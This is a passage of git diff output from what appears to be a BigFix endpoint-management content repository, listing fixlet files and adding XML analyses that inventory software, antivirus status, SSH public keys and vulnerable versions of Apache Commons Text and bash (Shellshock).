 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Folder _Program_ exists in Root of System Drive - Windows (21635).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug logging may be enabled - Windows (21636).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug tracing may be enabled - Windows (21637).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Service debug logging may be enabled - Windows (21638).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Hosts files contains manually defined hosts - Win_Mac (20536).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Incorrect User Shell Folders values may cause Installer errors - Windows (21687).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows (24269).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee Endoint Security is installed but may not be running (20225).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee VirusScan Enterprise is installed but may not be running (20226).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows (23734).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows (23735).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows (23818).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - NXLog is installed but not running - Windows (22649).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Pagefile has non-default configuration - Windows (20537).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Power Policy set to High Performance - Windows (21429).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Remote Assistance may not be installed (23559).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec Endpoint Protection has not communicated in 30 Days - Windows (21744).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec File System Auto-Protect is Disabled - Windows (21745).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Symantec has recursive whole drive exceptions defined - Windows (21746).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - System ignores driver's digital signature state - Windows (20538).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - System is set to store a large number of cached credentials - Windows (20631).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Unsolicited Remote Assistance may not be allowed (23560).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2003 Components can be removed - Windows (23819).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2007 Components can be removed - Windows (23820).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2010 Components can be removed - Windows (23821).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2013 Components can be removed - Windows (23822).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Update installation may cause WU reboot prompt (20539).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository backups exist in System Directory - Windows (21639).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository is very large - Windows (22650).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - WMI is not responding to queries - Windows (22651).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Windows 10 Security Center may present notification during AV installation (20586).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Windows Firewall may be blocking Remote Assistance (23561).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and Disable (24607).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and enable (24608).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE1__Stage Installation Files (25518).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE2__Install (25519).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE3__Cleanup (25520).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE1__Stage Installation Files (25593).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE2__Install (25594).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE3__Cleanup (25595).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/WinGet (WinGet method) (27387).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Windows - New local user definition (27388).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Windows 10 Configuration__ Set Telemetry Level to _Basic_ (11671).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Windows 10 vulnerability CVE 2021-36934 (TESTING) v2 (26867).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Windows 11 Upgrade Eligibility probe (26878).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Windows Installer 3.1 Redistributable (v2) (103).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64) (22466).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3964).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3966).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (634).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version) (26617).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Windows7810DeviceControl (24647).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Workaround - Disable the MSDT URL Protocol (26935).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Workaround Undo - Disable the MSDT URL Protocol (26936).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (21333).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (9281).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/set Windows KMS key - Windows BETA (21368).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell (25582).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell.bes

diff --git a/Sites/Linux Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes b/Sites/Linux Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes
new file mode 100644
index 000000000..4a80fec3b
--- /dev/null
+++ b/Sites/Linux Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes	
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Apache Commons Text Scan Analysis
+  ID       : 2998676
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-10-21T12:03:09
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Apache Commons Text Scan Analysis</Title>
+    <Description><![CDATA[<H3>This is Community Content. When you use these solutions, it is incumbent on your organization to test any solutions provided across the broadest available system base including various OS, storage solutions, and application inventory.</H3>
+<P></P>
+<P>Please see the <A href="https://forum.bigfix.com/t/log4j-vulnerability-identification-and-3rd-party-remediation-solution-testing-statement/40273"><FONT color=#0066cc>Community Solution Testing Statement</FONT></A></P>
+<P>This&nbsp;Analysis retrieves results of&nbsp;a filesystem scan to attempt detecting Apache Commons Text versions that may be vulnerable to one of the following vulnerabilty CVE-2022-42889 reported in October 2022:</P>
+<UL>
+<LI><A href="https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om"><FONT color=#0066cc>https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om</FONT></A>
+<LI><A href="https://nvd.nist.gov/vuln/detail/CVE-2022-42889"><FONT color=#0066cc>https://nvd.nist.gov/vuln/detail/CVE-2022-42889</FONT></A><BR></LI></UL>
+<P><SPAN style="FONT-SIZE: 11pt">This Analysis attempts to detect the presence and versions of Apache Commons Text java library, without distinction between vulnerable or updated versions.&nbsp; These results should be considered only a starting point in determining whether a system is actually vulnerable, along with other information such as the version of Java Virtual Machine and specific application or code configurations as referenced in the security bulletins above.</SPAN></P>]]></Description>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[exists files "apache-commons-text.txt" of folders "Scans" of folders ((if (version of client >= "9" as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site "actionsite")))]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Oct 2022 16:15:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="All Apache Commons Text Detections" EvaluationPeriod="PT30M">(if exists property &quot;locked lines&quot; then locked lines of it else lines of it) whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;))) </Property>
+    <Property ID="2" Name="Number of Apache Commons Text Detections" EvaluationPeriod="PT30M">number of (if exists property &quot;locked lines&quot; then locked lines of it else lines of it) whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;)))</Property>
+    <Property ID="4" Name="Unique Apache Commons Text Versions Found" EvaluationPeriod="PT30M">unique values of (unique value of following texts of lasts &quot;-&quot; of preceding texts of lasts &quot;.jar&quot; of (it as lowercase) | &quot;unknown&quot;) of lines whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;)))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Linux Management/Fixlets/Analyses/ESET Installed (76).bes b/Sites/Linux Management/Fixlets/Analyses/ESET Installed (76).bes
new file mode 100644
index 000000000..a804960b0
--- /dev/null
+++ b/Sites/Linux Management/Fixlets/Analyses/ESET Installed (76).bes	
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : ESET Installed
+  ID       : 76
+  Author   : PaulB
+  Domain   : BES
+  Imported : 2013-02-04T05:38:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>ESET Installed</Title>
+    <Description><![CDATA[<P>This analysis will show Machines that have ESET installed </P>
+<P>pulls back</P>
+<OL>
+<LI>signature of AV db</LI>
+<LI>version of NOD32</LI>
+<LI>Age of AV db</LI></OL>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 04 Feb 2013 11:38:54 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <Property ID="1" Name="ESET Signature Number">value &quot;ScannerVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry</Property>
+    <Property ID="3" Name="ESET Age">current date - date (( last 2 of (preceding text of first &quot;)&quot; of (following text of first &quot;(&quot; of (value &quot;ScannerVersion&quot; of  key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry as string))) &amp; &quot; &quot; &amp; first 3 of (month (last 2 of first 6 of (preceding text of first &quot;)&quot; of (following text of first &quot;(&quot; of (value &quot;ScannerVersion&quot; of  key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry as string))) as integer) as string) &amp; &quot; &quot; &amp; first 4 of (preceding text of first &quot;)&quot; of (following text of first &quot;(&quot; of (value &quot;ScannerVersion&quot; of  key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry as string)))))</Property>
+    <Property ID="4" Name="ESET Version">value &quot;ProductVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Linux Management/Fixlets/Analyses/Linux package info - RPM & DEB (2998050).bes b/Sites/Linux Management/Fixlets/Analyses/Linux package info - RPM & DEB (2998050).bes
new file mode 100644
index 000000000..831972dc9
--- /dev/null
+++ b/Sites/Linux Management/Fixlets/Analyses/Linux package info - RPM & DEB (2998050).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Linux package info - RPM & DEB
+  ID       : 2998050
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-05-06T14:49:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Linux package info - RPM &amp; DEB</Title>
+    <Description>This analysis gathers data from both RPMs and Debianpackages </Description>
+    <Relevance>(if exists properties whose(it as string contains &quot;debianpackage:&quot;) then TRUE else if exists properties whose(it as string contains &quot;rpm:&quot;) then TRUE else ERROR &quot;The operators are not defined.&quot;)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 06 May 2016 21:46:52 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="packages" EvaluationPeriod="P2D">packages whose(if exists properties whose(it as string contains &quot;currently installed of &quot;) then (currently installed of it) else TRUE) of (if exists properties whose(it as string contains &quot;debianpackage:&quot;) then debianpackages else if exists properties whose(it as string contains &quot;rpm:&quot;) then rpms else ERROR &quot;The operators are not defined.&quot;)</Property>
+    <Property ID="3" Name="yum version" EvaluationPeriod="PT6H">(it as string) of versions of packages whose(&quot;yum&quot; = name of it AND (if exists properties whose(it as string contains &quot;currently installed of &quot;) then (currently installed of it) else TRUE)) of (if exists properties whose(it as string contains &quot;debianpackage:&quot;) then debianpackages else if exists properties whose(it as string contains &quot;rpm:&quot;) then rpms else ERROR &quot;The operators are not defined.&quot;)</Property>
+    <Property ID="4" Name="apt version" EvaluationPeriod="PT6H">(it as string) of versions of packages whose(&quot;apt&quot; = name of it AND (if exists properties whose(it as string contains &quot;currently installed of &quot;) then (currently installed of it) else TRUE)) of (if exists properties whose(it as string contains &quot;debianpackage:&quot;) then debianpackages else if exists properties whose(it as string contains &quot;rpm:&quot;) then rpms else ERROR &quot;The operators are not defined.&quot;)</Property>
+    <Property ID="5" Name="Package Managers" EvaluationPeriod="PT12H">packages whose( (&quot;apt&quot; = name of it OR &quot;aptitude&quot; = name of it OR &quot;yum&quot; = name of it OR &quot;emerge&quot; = name of it OR &quot;pacman&quot; = name of it OR &quot;zypp&quot; = name of it OR &quot;dnf&quot; = name of it OR &quot;urpmi&quot; = name of it) AND (if exists properties whose(it as string contains &quot;currently installed of &quot;) then (currently installed of it) else TRUE)) of (if exists properties whose(it as string contains &quot;debianpackage:&quot;) then debianpackages else if exists properties whose(it as string contains &quot;rpm:&quot;) then rpms else ERROR &quot;The operators are not defined.&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Linux Management/Fixlets/Analyses/SSH Public Keys (2998546).bes b/Sites/Linux Management/Fixlets/Analyses/SSH Public Keys (2998546).bes
new file mode 100644
index 000000000..129cf2446
--- /dev/null
+++ b/Sites/Linux Management/Fixlets/Analyses/SSH Public Keys (2998546).bes	
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : SSH Public Keys
+  ID       : 2998546
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-04-18T16:10:12
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>SSH Public Keys</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>exists files &quot;id_rsa.pub&quot; of folders &quot;.ssh&quot; of home directory folders of users</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Apr 2017 23:07:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SSH Public Keys" EvaluationPeriod="PT12H">unique values whose(it as trimmed string != &quot;&quot;) of lines of files &quot;id_rsa.pub&quot; of folders &quot;.ssh&quot; of home directory folders of users</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Linux Management/Fixlets/Analyses/Shellshock (2994719).bes b/Sites/Linux Management/Fixlets/Analyses/Shellshock (2994719).bes
new file mode 100644
index 000000000..6b5de3d1a
--- /dev/null
+++ b/Sites/Linux Management/Fixlets/Analyses/Shellshock (2994719).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Shellshock
+  ID       : 2994719
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2014-09-28T17:46:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Shellshock</Title>
+    <Description>This will look for the vulnerable version of bash in RHEL 5/6/7 x64 systems. This is fairly simple to modify if you are testing for a different distro or architecture. </Description>
+    <Relevance>exists file &quot;/etc/redhat-release&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 29 Sep 2014 00:41:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Bash version">rpm version record of package &quot;bash&quot; of rpm</Property>
+    <Property ID="2" Name="Vulnerable">((exists package &quot;bash&quot; whose (rpm version record of it &lt; rpm package version record &quot;4.1.2-15.el6_5.2&quot; AND rpm version record of it &gt; rpm package version record &quot;4.1.0-0.el1_0.0&quot; AND architecture of it = &quot;x86_64&quot;) of it AND (not exists package &quot;bash&quot; whose (rpm version record of it &gt;= rpm package version record &quot;4.1.2-15.el6_5.2&quot; AND architecture of it = &quot;x86_64&quot;) of it)) OR (exists package &quot;bash&quot; whose (rpm version record of it &lt; rpm package version record &quot;3.2-33.el5_11.4&quot; AND rpm version record of it &gt; rpm package version record &quot;3.2-0.el1_0.0&quot; AND architecture of it = &quot;x86_64&quot;) of it AND (not exists package &quot;bash&quot; whose (rpm version record of it &gt;= rpm package version record &quot;3.2-33.el5_11.4&quot; AND architecture of it = &quot;x86_64&quot;) of it)) OR (exists package &quot;bash&quot; whose (rpm version record of it &lt; rpm package version record &quot;4.2.45-5.el7_0.4&quot; AND rpm version record of it &gt; rpm package version record &quot;4.2.0-0.el1_0.1&quot; AND architecture of it = &quot;x86_64&quot;) of it AND (not exists package &quot;bash&quot; whose (rpm version record of it &gt;= rpm package version record &quot;4.2.45-5.el7_0.4&quot; AND architecture of it = &quot;x86_64&quot;) of it))) of rpm</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Linux Management/Fixlets/Analyses/Ubuntu Available and Installed Packages (95).bes b/Sites/Linux Management/Fixlets/Analyses/Ubuntu Available and Installed Packages (95).bes
new file mode 100644
index 000000000..b02100141
--- /dev/null
+++ b/Sites/Linux Management/Fixlets/Analyses/Ubuntu Available and Installed Packages (95).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Ubuntu Available and Installed Packages
+  ID       : 95
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-05-01T21:13:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Ubuntu Available and Installed Packages</Title>
+    <Description>Using our package inventoring task... this analysis will pull in results making them available via WebReports </Description>
+    <Relevance>name of operating system contains &quot;Ubuntu&quot;</Relevance>
+    <Relevance>exists file &quot;availableApps.txt&quot; of parent folder of client OR exists file &quot;installedApps.txt&quot; of parent folder of client</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 01 May 2013 02:48:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Installed Packages" EvaluationPeriod="PT1H">if exists file &quot;installedApps.txt&quot; of parent folder of client then lines of file &quot;installedApps.txt&quot; of parent folder of client else &quot;&lt;missing file&gt;&quot;</Property>
+    <Property ID="2" Name="Available Packages" EvaluationPeriod="PT1H">if exists file &quot;availableApps.txt&quot; of parent folder of client then lines of file &quot;availableApps.txt&quot; of parent folder of client else &quot;&lt;missing file&gt;&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/AV Antivirus Audit - Security Center - Windows (2996952).bes b/Sites/Windows Management/Fixlets/Analyses/AV Antivirus Audit - Security Center - Windows (2996952).bes
new file mode 100644
index 000000000..38ed7f0b5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/AV Antivirus Audit - Security Center - Windows (2996952).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : AV Antivirus Audit - Security Center - Windows
+  ID       : 2996952
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-04-19T22:21:03
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>AV Antivirus Audit - Security Center - Windows</Title>
+    <Description><![CDATA[<P>This analysis should identify all AV products registered with the Windows Security Center APIs.</P>
+<P>The `ProductState` should be a bit set of some sort that contains info about the state of the AV products detected. </P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 20 Apr 2016 05:20:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="AV DisplayName" EvaluationPeriod="PT1H">unique values of string values of selects &quot;displayname from AntiVirusProduct&quot; of (if exists (wmis &quot;root\SecurityCenter2&quot;) then (wmis &quot;root\SecurityCenter2&quot;) else (wmis &quot;root\SecurityCenter&quot;))</Property>
+    <Property ID="2" Name="AV ProductState" EvaluationPeriod="PT1H">unique values of (string value of property &quot;displayName&quot; of it &amp; &quot;: state=&quot; &amp; string value of property &quot;productState&quot; of it) of select objects &quot;displayName,productState from AntiVirusProduct&quot; of wmis &quot;root\SecurityCenter2&quot;</Property>
+    <Property ID="3" Name="AV RawData" EvaluationPeriod="PT12H">( concatenations &quot;, &quot; of following texts of firsts &quot;True, &quot; of (it as string) of (true, (it) ) of  properties whose(it as string does not start with &quot;__&quot;) of it) of select objects &quot;* from AntiVirusProduct&quot; of (wmis &quot;root\SecurityCenter&quot;;wmis &quot;root\SecurityCenter2&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server - Windows (2994671).bes b/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server - Windows (2994671).bes
new file mode 100644
index 000000000..cd1217ae8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server - Windows (2994671).bes	
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Adobe Update Server - Windows
+  ID       : 2994671
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-07-16T15:13:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Adobe Update Server - Windows</Title>
+    <Description><![CDATA[<P>This analysis reports on the information&nbsp;about the configured Adobe Update Server</P>
+<P><FONT size=2>&nbsp;</P></FONT>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/update-server-setup-tool.html">http://helpx.adobe.com/creative-cloud/packager/update-server-setup-tool.html</A></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/provisioning-toolkit-enterprise.html">http://helpx.adobe.com/creative-cloud/packager/provisioning-toolkit-enterprise.html</A></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/preparing-deploy.html">http://helpx.adobe.com/creative-cloud/packager/preparing-deploy.html</A></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/creative-cloud-packager.html">http://helpx.adobe.com/creative-cloud/packager/creative-cloud-packager.html</A></P>
+<P><A href="http://www.regexr.com/395i4">http://www.regexr.com/395i4</A></P>
+<P><A href="http://www.regexr.com/395de">http://www.regexr.com/395de</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists lines of files &quot;AdobeUpdater.Overrides&quot; of folders of (folders &quot;ProgramData\Adobe\AAMUpdater&quot; of it;folders &quot;Documents and Settings\All Users\Application Data\Adobe\AAMUpdater&quot; of it) of root folders of drives of system folders</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 16 Jul 2014 22:12:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="AdobeUpdater.Overrides" EvaluationPeriod="P7D">lines of files &quot;AdobeUpdater.Overrides&quot; of folders of (folders &quot;ProgramData\Adobe\AAMUpdater&quot; of it;folders &quot;Documents and Settings\All Users\Application Data\Adobe\AAMUpdater&quot; of it) of root folders of drives of system folders</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server Settings - Windows (2994676).bes b/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server Settings - Windows (2994676).bes
new file mode 100644
index 000000000..44d360dfa
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server Settings - Windows (2994676).bes	
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Adobe Update Server Settings - Windows
+  ID       : 2994676
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-07-16T16:32:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Adobe Update Server Settings - Windows</Title>
+    <Description><![CDATA[<P>This analysis reports on the information&nbsp;about the configured Adobe Update Server</P>
+<P><FONT size=2>&nbsp;</P></FONT>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/update-server-setup-tool.html">http://helpx.adobe.com/creative-cloud/packager/update-server-setup-tool.html</A></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/provisioning-toolkit-enterprise.html">http://helpx.adobe.com/creative-cloud/packager/provisioning-toolkit-enterprise.html</A></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/preparing-deploy.html">http://helpx.adobe.com/creative-cloud/packager/preparing-deploy.html</A></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/creative-cloud-packager.html">http://helpx.adobe.com/creative-cloud/packager/creative-cloud-packager.html</A></P>
+<P><A href="http://www.regexr.com/395i4">http://www.regexr.com/395i4</A></P>
+<P><A href="http://www.regexr.com/395de">http://www.regexr.com/395de</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists lines of files &quot;AdobeUpdater.Overrides&quot; of folders of (folders &quot;ProgramData\Adobe\AAMUpdater&quot; of it;folders &quot;Documents and Settings\All Users\Application Data\Adobe\AAMUpdater&quot; of it) of root folders of drives of system folders</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 16 Jul 2014 23:19:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
